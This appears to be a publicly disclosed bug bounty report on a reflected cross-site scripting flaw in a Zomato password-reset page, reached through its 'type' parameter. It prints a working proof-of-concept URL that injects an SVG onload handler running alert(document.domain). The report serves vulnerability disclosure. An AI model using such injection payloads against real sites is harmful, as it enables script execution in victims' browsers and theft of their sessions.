Eternal · Report #114151

Cross Site Scripting - type Patameter

Validstatus

2upvotes

6 Mar 2016disclosed

How it was found

Hello,

Please find below crafted URL to reproduce the reflected XSS:

https://www.zomato.com/php/fb_login_pass_reset?type=%22%3E%3Csvg/onload=alert%28document.domain%29%3E%3Ch1%3EBoooooya!!%3C/h1%3E

Access above URL (Tested on Firefox) to reproduce the issue.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original